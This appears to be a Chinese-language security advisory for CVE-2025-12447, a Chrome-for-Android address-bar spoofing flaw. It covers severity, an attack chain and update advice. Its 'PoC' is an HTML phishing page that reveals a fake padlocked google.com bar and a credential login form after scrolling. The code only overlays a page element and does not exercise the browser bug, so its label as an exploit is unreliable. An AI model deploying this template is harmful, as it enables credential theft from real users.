CVE-2025-12447 Google Chrome Android Omnibox UI欺骗漏洞

漏洞信息

漏洞编号

CVE-2025-12447

漏洞类型

UI欺骗

CVSS评分

4.2 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Google Chrome on Android

漏洞概述

CVE-2025-12447是Google Chrome浏览器在Android平台上存在的一个UI欺骗（UI Spoofing）漏洞。该漏洞位于Chrome的Omnibox（多功能地址栏）组件中，在142.0.7444.59之前的版本均受影响。漏洞允许远程攻击者通过精心构造的HTML页面，并诱导用户进行特定的UI手势操作，从而在地址栏中显示虚假的URL或安全指示信息。由于Chrome用户通常依赖地址栏来判断网站的真实性和安全性，攻击者可以利用此漏洞进行钓鱼攻击，诱骗用户输入敏感信息或执行危险操作。攻击的成功需要用户参与特定的交互行为，但一旦成功，用户难以察觉异常。

技术细节

该漏洞属于Chromium安全严重性评级中的"Low"级别。攻击原理是利用Omnibox组件在处理特定UI手势时的安全UI显示逻辑缺陷。攻击者通过精心设计的HTML页面，在用户进行滚动、点击或其他特定手势时，操纵地址栏的显示内容，使其展示虚假的域名或安全锁图标。由于Chrome的地址栏是用户判断网站安全性的重要依据，伪造的地址栏信息会导致用户误以为自己在访问合法网站。攻击者可以在虚假地址栏中显示任意URL，配合钓鱼页面内容，诱骗用户输入凭证、银行卡信息等敏感数据。漏洞的利用需要用户进行特定交互，但交互方式相对简单，容易被诱导。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意HTML和JavaScript的钓鱼页面

STEP 2

步骤2

通过钓鱼邮件、社交工程或其他方式诱导用户访问该恶意页面

STEP 3

步骤3

用户加载页面后，攻击者利用Omnibox组件的UI显示逻辑缺陷

STEP 4

步骤4

用户进行滚动等特定UI手势操作

STEP 5

步骤5

恶意脚本操纵地址栏显示虚假的URL（如显示google.com）

STEP 6

步骤6

页面同时显示伪造的登录表单或其他敏感信息收集界面

STEP 7

步骤7

用户误以为在合法网站输入信息，攻击者窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-12447 UI Spoofing PoC for Google Chrome Android -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12447 UI Spoofing PoC</title>
    <style>
        body { margin: 0; padding: 20px; font-family: Arial, sans-serif; }
        .spoof-content { height: 2000px; }
        .fake-bar {
            position: fixed; top: 0; left: 0; right: 0;
            background: #00aa00; color: white; padding: 10px;
            text-align: center; font-weight: bold;
            display: none;
        }
        .attack-content {
            position: relative; z-index: 1;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white; padding: 50px; border-radius: 10px;
            margin-top: 60px;
        }
    </style>
</head>
<body>
    <div class="fake-bar" id="fakeBar">🔒 https://www.google.com</div>
    <div class="spoof-content">
        <h1>Benign Content - Scroll Down</h1>
        <p>Scroll to reveal spoofed address bar...</p>
        <div style="height: 800px;"></div>
        <div class="attack-content">
            <h2>Phishing Page</h2>
            <p>Please enter your credentials:</p>
            <input type="text" placeholder="Email" style="padding: 10px; width: 300px; margin: 10px 0;">
            <input type="password" placeholder="Password" style="padding: 10px; width: 300px; margin: 10px 0;">
            <button style="padding: 10px 30px; background: #4CAF50; color: white; border: none; cursor: pointer;">Login</button>
        </div>
    </div>
    <script>
        // UI Spoofing trigger on scroll gesture
        let scrollCount = 0;
        window.addEventListener('scroll', function() {
            scrollCount++;
            if (scrollCount > 3) {
                document.getElementById('fakeBar').style.display = 'block';
            }
        });
    </script>
</body>
</html>

影响范围

Google Chrome on Android < 142.0.7444.59

防御指南

临时缓解措施

立即更新Google Chrome for Android至最新版本（142.0.7444.59及以上）。在更新前，用户应提高警惕，不要完全依赖地址栏判断网站安全性，对于要求输入敏感信息的页面，应通过官方应用或书签直接访问。避免点击来历不明的链接，尤其是要求登录或输入个人信息的链接。